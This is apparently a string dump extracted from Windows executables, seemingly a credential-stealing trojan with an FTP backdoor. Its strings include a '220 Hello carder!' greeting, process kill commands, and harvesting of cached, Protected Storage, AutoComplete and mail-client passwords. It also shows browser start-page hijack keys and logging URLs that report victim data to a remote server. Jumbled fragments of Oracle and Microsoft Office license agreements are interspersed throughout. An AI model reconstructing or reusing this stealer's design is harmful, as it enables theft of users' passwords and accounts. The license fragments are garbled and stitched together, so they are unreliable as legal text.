!This program cannot be run in DOS mode.
.idata
`.text
@.data
@.idata
@.rdata
@.idata
@.data
B.rsrc
t ;t$$t
\t]Whn
[=CWD
=PORTt\
-=RETR
<0:u8j
?"u#j"
WINDOZER_11
afafasfdasfff
x+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
SOFTWARE\Clients\Mail\The Bat!\Protocols\mailto\DefaultIcon
account.cfg
CRYPTKEY
ntdll.dll
RtlInitUnicodeString
NtUnmapViewOfSection
NtOpenSection
NtMapViewOfSection
RtlNtStatusToDosError
CURRENT_USER
CRYPTEND
CRYPTKEY
Process32Next
NtQuerySystemInformation
kernel32.dll
ntdll.dll
ntdll.dll
wsock32.dll
kernel32.dll
kernel32.dll
user32.dll
user32.dll
kernel32.dll
wcscmp
VirtualProtect
GetCurrentProcessId
FindWindowA
SendMessageA
IsBadReadPtr
kernel32.dll
CRYPTEND
!This program cannot be run in DOS mode.
`.rdata
@.data
.idata
.reloc
.edata
t ;t$$t
abcdefghijklmno
WDOZER
ExitProcess
GetCurrentProcessId
GetCurrentThreadId
GetEnvironmentStringsA
CloseHandle
GetSystemDirectoryA
OpenMutexA
RtlUnwind
WinExec
_fdopen
_open_osfhandle
fclose
_cexit
malloc
printf
setbuf
sprintf
strcpy
KERNEL32.DLL
CRTDLL.DLL
2$2*2?2
8*868B8N8Z8f8r8~8
l2p2t2x2|2
dll.dll
_LibMain@12
HTTP/1.0 200 Connection established
RegisterServiceProcess
kernel32.dll
Software\Microsoft\IE4
http://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
about:blank
http://f/wcmd.htm
http://f/ppslog.php
http://f/piplog.php?%s:%i:%i:%s:%09u:%i:%02d:%02d:%02d
WINDOZER
\blbk32.dll
%s\%s.exe
Software
dz32x.dat
Search Page
Start Page
%s/Rtdx1%i.htm
%s\Rtdx1%i.dat
%s /C %s
\command.com
%s\command.pif
\cmd.exe
%s\cmd.pif
dz32x.vxd
<HTML><!--
%ssetTimeout("x()",%u);
%sself.parent.location="%s";
function x()
%s<!-- %u -->
X-okRecv11
IEFrame
%s%u - Microsoft Internet Explorer
\Iexplore.exe
Software\Microsoft\IE Setup\Setup
BrowseNewProcess
.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess
GlobalUserOffline
Software\Microsoft\Windows\CurrentVersion\Internet Settings
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u
</body><html>
</script>
%ssetTimeout("z()",%u);
%sdocument.%s.submit();
function z()
<script>
</form>
<input type="submit" value=''>
%s<input type="edit" value='%s' name='%s%u'><br>
%s<input type="edit" value='%s' name='%s'><br>
%s<form action="%s" method="POST" name="%s">
<body>
</head>
MicroSoft-Corp
%s<title>%s%u</title>
<head>
%s<!-- %.2u -->
<html>
%s%c%c
HTTP/1.0 400 Malformed Request
Pragma: no-cache
Content-type: text/html
<HTML><HEAD><TITLE>Error400</TITLE></HEAD><BODY><h1>Error300: Browser sent malformed request
HTTP/1.0 404 Host Not Found
Pragma: no-cache
Content-type: text/html
<HTML><HEAD><TITLE>Error404</TITLE></HEAD><BODY><h1>Error404: Hostname DNS lookup failed
CONTENT-LENGTH:
200 OK
HTTP/1
CONNECT
Cache-Control:
Proxy-
GET http://
HTTP/1.
HTTP://
FormSuggest PW Ask
FormSuggest Passwords
Use FormSuggest
SOFTWARE\Microsoft\Internet Explorer\Main
AutoSuggest
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete
BUTTON
#32770
blind_user
command.com
cmd.exe
can`t kill.
killed.
Process %X %s
ERROR: Bad PID!
!kprc
%s%02i %X %s
N PID NAME
Process32Next
Process32First
CreateToolhelp32Snapshot
KERNEL32.DLL
500 P-Error
200 BINARY p
200 ASCII p
215 UNIX Type: L8
230 P-Ok
331 P-Psw?
250 "%s" cd
200 P-po
220 Hello carder!
%crwxrwxrwx 1 noone nogroup %i %s %02i %02i:%02i %s
total 65535
150 ASCII p
226 P-ok
150 BINARY p
501 P-E
250 DELE
257 "%s" c
213 %i
550 P-E
Web Event Logger
Software\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
Apartment
ThreadingModel
CLSID\%s\InProcServer32
%s\%s.dll
{79FAA099-1BAE-816E-D711-115290CEE717}
WNetEnumCachedPasswords
MPR.DLL
%s%s\%s
%s\%s\
%s:%s|
%s %X:
%s FORM_%X
Microsoft Internet Explorer
%s[%s] '%s'
%s%s:%s
INETCOMM Server Passwords
StringIndex
[%s] '%s'
[%s] %s
Internet Explorer
PStoreCreateInstance
pstorec.dll
%s%s%s
POP3 User Name
SMTP Organization Name
SMTP Email Address
SMTP Display Name
SMTP Server
POP3 Server
Account Name
POP3 Password2
SOFTWARE\Microsoft\Internet Account Manager\Accounts\%08x
nThis agreement is governed by the substantive and procedural laws of Ireland without reference to its conflictof laws principles
you to use the application programs which are installed on a single server or multiple servers, regardless of whether or not the
obligation to take reasonable steps to
WSAGetLastError
WSAStartup
__WSAFDIsSet
accept
closesocket
connect
gethostbyname
inet_addr
ioctlsocket
listen
select
socket
CoCreateInstance
CLSIDFromString
CoTaskMemFree
CoInitialize
CoUninitialize
SysAllocString
DeleteUrlCacheEntry
FindFirstUrlCacheEntryA
FindNextUrlCacheEntryA
ExitProcess
ExitThread
ExpandEnvironmentStringsA
FileTimeToLocalFileTime
FileTimeToSystemTime
FindClose
FindFirstFileA
FindNextFileA
FreeLibrary
GetCommandLineA
GetCurrentProcessId
GetCurrentThreadId
GetExitCodeProcess
GetExitCodeThread
GetFileAttributesA
GetFileSize
GetFileTime
GetLocalTime
GetModuleFileNameA
GetModuleHandleA
CloseHandle
GetProcAddress
GetSystemDirectoryA
GetTempPathA
GetTickCount
GetTimeZoneInformation
GetVersion
GetVersionExA
GetWindowsDirectoryA
GlobalMemoryStatus
CopyFileA
InterlockedIncrement
IsBadReadPtr
IsBadWritePtr
LoadLibraryA
CreateDirectoryA
LocalAlloc
LocalFree
OpenFile
OpenMutexA
OpenProcess
PeekNamedPipe
CreateFileA
ReadFile
RemoveDirectoryA
RtlUnwind
SetFileAttributesA
SetFilePointer
CreateMutexA
TerminateProcess
TerminateThread
CreatePipe
VirtualQuery
CreateProcessA
WaitForSingleObject
WideCharToMultiByte
WinExec
WriteFile
lstrlenA
lstrlenW
CreateThread
DeleteFileA
GetWindowTextA
GetWindowRect
FindWindowA
GetWindow
IsWindowVisible
GetClassNameA
GetForegroundWindow
LoadCursorA
SetTimer
KillTimer
RegisterClassA
GetMessageA
CreateDesktopA
SetThreadDesktop
GetThreadDesktop
TranslateMessage
DispatchMessageA
SendMessageA
CharUpperBuffA
OemToCharA
PostQuitMessage
ShowWindow
CreateWindowExA
DestroyWindow
DefWindowProcA
GetStockObject
DeleteObject
RegCreateKeyExA
RegCloseKey
RegOpenKeyExA
RegQueryValueExA
RegSetValueExA
GetSecurityInfo
SetSecurityInfo
SetEntriesInAclA
__GetMainArgs
_sleep
_strcmpi
_stricmp
memcpy
memset
signal
sprintf
sscanf
strcat
strchr
strncmp
wsock32.dll
ole32.DLL
OLEAUT32.DLL
WININET.DLL
KERNEL32.DLL
USER32.DLL
GDI32.DLL
ADVAPI32.DLL
CRTDLL.DLL
trial software are limited to the trial period. The trial software and length of the trial period are set forth
include more than one version, such as 32-bit and 64-bit, and you may install and use only one version at
provide it to you. Certain features may also permit you to search for and access information online.
1K Invoice Line: is defined as one thousand invoice line items processed by the program during a 12 month period. You
order and shall continue for a period of 1 year. At the end of the 1 year the program license shall terminate. A program license
own most important confidential information or a reasonable degree of care, whichever is greater; (b) to maintain agreements
whether or not the individual is actively using the programs at any given time. Professional Users 2003
External are allowed
order and shall continue for a period of 1 year. At the end of the 1 year the program license shall terminate. A program license
and virtualization, see the Additional Terms.
you paid for `
COMMERCIALLY REASONABLE MANNER, YOU MAY END YOUR PROGRAM LICENSE AND RECOVER
Workshops
OUR LICENSORS
INTELLECTUA L PROPERTY RIGHTS. Dispute means any dispute, action, or other
required by applicable law);
parties such as Oracle and instruct your employees and agents of these requirements for the TRMs; (c) restrict disclosure of the
means including purchase orders transmitted from Oracle Purchasing) must be licensed separately.
country, the laws of that country apply. This agreement describes certain legal rights. You may have
orders directly into these programs but any orders transmitted or executed electronically (via EDI, XML or other electronic
Microsoft for information about Microsoft
s refund policies. See microsoft.com/worldwide, or in North
If you acquire the Online Library, the term shall be one year from the effective date of your order. At the end of the term, you
this notice will include a copy of your agreement. Program documentation is either shipped with the programs, or you may
C. CHOICE OF LAW
Implementation Services, Packaged Methods, Architecture Services, Accelerator Services, Assessment Services and
were disclosed; (d) maintain the TRMs at all times on your premises; and (e) not to remove or destroy any proprietary or
I. JAPA N
programs. The term Compensated Individual includes, but is not limited to, your employees, contractors, retirees, and any
Limited, East Point Business Park, Fairview, Dublin 3, Ireland, Attention: Director of Legal Affairs, Legal Department.
that are provided by Microsoft and that you use), and the terms contained in web links listed in this
whole number for purposes of license quantity requirements.
circumstances, we also share it with others. For example, we share error reports with relevant hardware
1, 2, 3, 4, 5 Year Terms: A program license specifying a 1, 2, 3, 4 or 5 Year Term shall commence on the effective date of
of Purchase Lines for iProcurement could be a smaller number than for Purchasing Intelligence).
6. Arbitration Procedure, Costs, Fees and Incentives. Any arbitration will be conducted by the American
Expense Report: is defined as the total number of expense reports processed by Internet Expenses during a 12 month period.
GetModuleBaseNameW
psapi.dll
!This program cannot be run in DOS mode.
SHGetSpecialFolderPathA
ExtractAssociatedIconExW
SHGetFolderPathW
SHDefExtractIconA
ShellExecuteExA
ShellExecuteA
SHGetFolderPathA
ShellMessageBoxW
StrChrIA
SHGetDesktopFolder
SHGetSpecialFolderLocation
SHFree
SHGetFileInfoA
SHGetDataFromIDListW
ShellHookProc
ExtractIconW
SHGetNewLinkInfoA
SHGetSpecialFolderPathW
ShellExecuteExW
SHGetPathFromIDListW
shell32.dll
.idata
Neither of us shall be responsible for failure or delay of performance if caused by: an act of war, hostility, or sabotage; act of
activation. If you have not entered a product key during the time permitted for activation, most
be a CANEX Authorized Patron, you must be a
taxes based on Oracle
s income. Also, you will reimburse Oracle for reasonable expenses related to providing the services.
of these laws, or will be used for any purpose prohibited by these laws including, without limitation, nuclear, chemical, or
required to be licensed as systems; however, you may run the program on these databases.
required and all actual users must be licensed.
you to use the applicable licensed application programs which are installed on a single server or on multiple servers regardless
software features to upgrade or fix the software and otherwise improve its products and services. In
out of or relating to this agreement.
order. The Provider will not indemnify the Recipient if the Recipient alters the Material or uses it outside the scope of use identified
Service is available on http://www.oracle.com/education/oln. Notwithstanding anything to the contrary in the agreement,
Electronic Order Line: is defined as the total number of distinct order lines entered electronically into the Oracle Order
confirm the license is associated with the licensed computer. This process is called
activation.
Because
MICROSOFT WILL SEEK TO HAVE A NY DISPUTE HEARD AS A CLASS ACTION, PRIVATE
1. Consent for Internet-Based Services. The software features described below and in the Office 2013
:-rW=}+
BitBlt
GetPath
GetMetaFileBitsEx
SetMetaFileBitsEx
ColorCorrectPalette
UpdateColors
gdi32.dll
Implementation Services, Packaged Methods, Architecture Services, Accelerator Services, Assessment Services and
1 Year Subscription: A program license specifying a 1 Year Subscription shall commence on the effec
may renew your order for an additional one year term at the then current Online Library rate by contacting your local Oracle
$M in Managed Assets: is defined as one million U.S. dollars (Seven hundred and seventy-two thousand four hundred
Trade Compliance web site which can be accessed at http://oracle.com/contracts. You agree that no data, information,
Pension Contribution Act, or the Pension Act or the War Veterans Allowance Act;
Adapter: is defined as each software code interface, installed on each Oracle Internet Application Server Enterprise Edition,
device will be counted as a named user plus in addition to all individuals authorized to use the programs, if such devices can
IRE_OLSA_V120103_Def_V122304 Page 8 of 11
obligation to take reasonable steps to follow its normal disaster recovery procedures or your obligation to pay for services
of licenses required. For the iSupport, iStore and Configurator programs, only the processors on which Internet Application
12 month period. You may not exceed the licensed number of CRF Pages during any 12 month period unless you acquire
license to use for your internal business operations anything developed by Oracle and delivered to you under this agreement;
by a cable provider; or (d) a live connected utility meter. The total number of Subscribers is equal to the aggregate of all types
You may not assign this agreement or give or transfer the programs and/or any services or an interest in them to another
ADDITIONA L TERMS
any service, data, account or network by any means.
another user simultaneously. As an exception, you may allow others to access the software
applicable to your use of the programs in excess of your license rights. If you do not pay, Oracle can end your technical
www.oracle.com/education/oln/index.html, and may be updated by Oracle from time to time without notice to you. You
5. Trial and Conversion. Some or all of the software may be licensed on a trial basis. Your rights to use
permanently assigned to the licensed computer.
Thank you for choosing Microsoft Office 2013. This is a license agreement between you and Microsoft
Permanent full-time or part-time Non-Public Fund (NPF) or DND employee or and their spouse;
section of the Office 2013 Privacy Statement linked at the end of this agreement.
software, data, or material (
Material
) furnished by either you or Oracle (
Provider
), and used by the Recipient infringes its
the licensed computer, with the Certificate of Authenticity label, and this agreement. Before the transfer,
To identify genuine Microsoft software, see howtotell.com.
and others during the applicable year of the Oracle Exchange Marketplace license, regardless of whether any such auction
your order when licensing these applications.)
above will not be applied to such taxes, materials and/or expenses. Learning credits are valid for a period of 12 months from
Oracle warrants that a program licensed to you will operate in all material respects as described in the applicable program
own most important confidential information or a reasonable degree of care, whichever is greater; (b) to maintain agreements
the program, then sold within the previous 12 months.
from the effective date of your order. At the end of the term, you may renew your order for an additional 6 month term at the
Oracle retains all ownership and intellectual property rights to the programs and anything developed by Oracle and delivered to
legal proceeding arising from or in connection with this agreement.
DEFICIENT SERVICES, OR IF ORACLE CANNOT SUBSTANTIALLY CORRECT A BREACH IN A
access the programs. If multiplexing hardware or software (e.g., a TP monitor or a web server product) is used, this number
Learning Credits: may be used to acquire education products and services offered in the Oracle University online catalogue
acknowledge that you will create and activate an administrator account and password and that the Oracle University Online
Technical Reference Manuals (
) are Oracle
s confidential information. You shall use the TRMs solely for your
Order Management User: is defined as an individual authorized by you to use the applicable licensed application programs
confirm the license is associated with the licensed computer. This process is called
activation.
Because
that party must agree that this agreement applies to the transfer and use of the software. You may not
automatically downloaded and installed on your licensed computer.
For purposes of the ordering document, technical support consists of Software Updates, Product Support and/or other annual
Authenticity, or on the download page if you obtained the software online. If your designation is
years) is provided under Oracle
s technical support policies in effect at the time the services are provided. The technical
products included on an Applications NLS Supplement CD Pack have been translated. For existing supported customers,
receipt of a DND pension;
student enrolled in your institution counts as 25% of an FTE Student. The definition of "full-time" and "part-time" is based on
Order Line: is defined as the total number of order entry line items processed by the program during a 12 month period.
the user of a licensed copy of the software, or a product that includes the software, with active
computer or device. During activation, the software will automatically contact Microsoft or its affiliate to
Oracle programs.
certain circumstances, Microsoft also shares it with others. For example, Microsoft shares error reports
clearly identified as confidential.
of Subscribers. If your business is not defined in the primary definition of Subscriber above, Subscriber is defined as each
agree to do so. You agree that for each service that is governed by this agreement and also specific
individual is actively accessing the hosted service at any given time.
Statement at r.office.microsoft.com/r/rlidOOPrivacyState15HighLight?clid=1033. BY USING THESE
Australian Consumer Law. You are entitled to a replacement or refund for a major failure
Ported Number: is defined as the telephone number that end users retain as they change from one service provider to
Workstation: is defined as the client computer from which the programs are being accessed, regardless of where the program
disclose results of any program benchmark tests without Oracle
s prior written consent.
Named User Plus: is defined as an individual authorized by you to use the programs which are installed on a single server or
may renew your order for an additional one year term at the then current Online Library rate by contacting your local Oracle
available, new help information about the errors might also be automatically downloaded. To learn more
you become subject to insolvency or other similar legal proceedings, you will promptly send written notice to: Oracle EMEA
@provide reasonable assistance and access to information. You agree to pay within 30 days of written notification any fees
your policies for student classification. If the number of FTE Students is a fraction, that number will be rounded to the nearest
to circumvent technical protection measures in the software, reverse engineer, decompile, or disassemble
READ THEM CAREFULLY.
Purchasing, Professional Users
External are allowed to manually enter orders directly into these programs but any orders
retain any copies.
of these laws, or will be used for any purpose prohibited by these laws including, without limitation, nuclear, chemical, or
receive information. You may not always receive a separate notice when they connect. If you choose to
You may order trial programs, or Oracle may include additional programs with your order which you may use for trial, nonproduction purposes only. You may not use the trial programs to provide or attend third party training on the content and/or
Qualifying foreign military personnel;
provided.
EDI/XML transactions and/or sourced from other Oracle and non-Oracle applications. You may not exceed the licensed
Application User, Enterprise Asset Management (EAM) User, Field Sales User, Financials User, Inventory/Shipping
licensed program on the processors where a licensed Oracle Database (Standard Edition and/or Enterprise Edition) is installed
whether or not the individual is actively using the programs at any given time. Professional Users 2003
External are allowed
and software vendors, so that they can use the information to improve how their products run with
DAMA GES, INCLUDING CONSEQUENTIA L, LOST PROFITS, SPECIA L, INDIRECT, OR
F. PROOF OF LICENSE
use of the software only through the input mechanisms of the licensed computer, such as a keyboard,
with the technical support policies in effect at the time of termination. Oracle
s license set definition is available in the current
out of or relating to this agreement.
activation is meant to identify unauthorized changes to the licensing or activation functions of the
IRE_OLSA_V120103_Def_V122304 Page 7 of 11
Subscriber: is defined as (a) a working telephone number for all wireline devices; (b) a portable handset or paging device that
access to the Oracle iSupport program may not be licensed as Employee Users, but must be licensed as Professional Users.
at any given time. Order Management Users are allowed to manually enter orders directly into the programs but any orders
preconfigured PIP includes a business document with the vocabulary and a business process with the choreography of the
N. GEOGRA PHIC A ND EXPORT RESTRICTIONS
Online Hosting Access Policies. Oracle University's Online Hosting Access Policies are located at
software license, for a refund or credit.
representation of identifiable individuals, governments, logos, trademarks, or emblems or use these types
GIVING UP THE RIGHT TO LITIGA TE (OR PARTICIPA TE IN AS A PARTY OR CLASS MEMBER)
Application Read-Only User: is defined as an individual authorized by you to run only queries or reports against the
through other computers or devices connected to the server over an internal or external network. The
iLearning Subscription: is defined as a web based learning environment that is made available to you subject to the terms of
MICROSOFT OFFICE 2013 DESKTOP APPLICA TION SOFTWARE
the software products owned or distributed by Oracle which you have ordered, program documentation, and any program
Each Implementation Service, Packaged Method, Architecture Service, Accelerator Service, Assessment Service and
WARRA NTY PROCEDURES
company is defined as a user able to initiate, or host, a web conference and also participate in a web conference; all
month period. Multiple service order entry line items may be entered as part of an individual customer service order or quote.
Oracle Application programs. For iProcurement, Purchase Lines are counted as all line items on an approved requisition
or service that is subject to a discount or a promotion when you order the relevant product or service. The list price will be
The following software features use Internet protocols, which send to Microsoft (or its suppliers or service
MICROSOFT; via mail at Microsoft Customer Service and Support, One Microsoft Way, Redmond, WA
you become subject to insolvency or other similar legal proceedings, you will promptly send written notice to: Oracle EMEA
Military Appreciation edition software is not licensed for use in any commercial, non-profit, or revenuegenerating activities.
court (Section B.3) or in arbitration (Section B.4). The one-year period begins when the claim or dispute
by a cable provider; or (d) a live connected utility meter. The total number of Subscribers is equal to the aggregate of all types
make the programs or materials resulting from the services available in any manner to any third party for use in the third
breaching party continues reasonable efforts to cure the breach. You agree that if you are in default under this agreement, you
results in a purchase order, provided that an auction resulting in a purchase order shall only be counted against the Annual
2(TGW
-R[ddb
4k[!4}[
-Rcddb
\dWTz%
)RK=/R
M-RCddb
\device\physicalmemory
{9BA05972-F6A8-11CF-A442-00A0C90A8F39}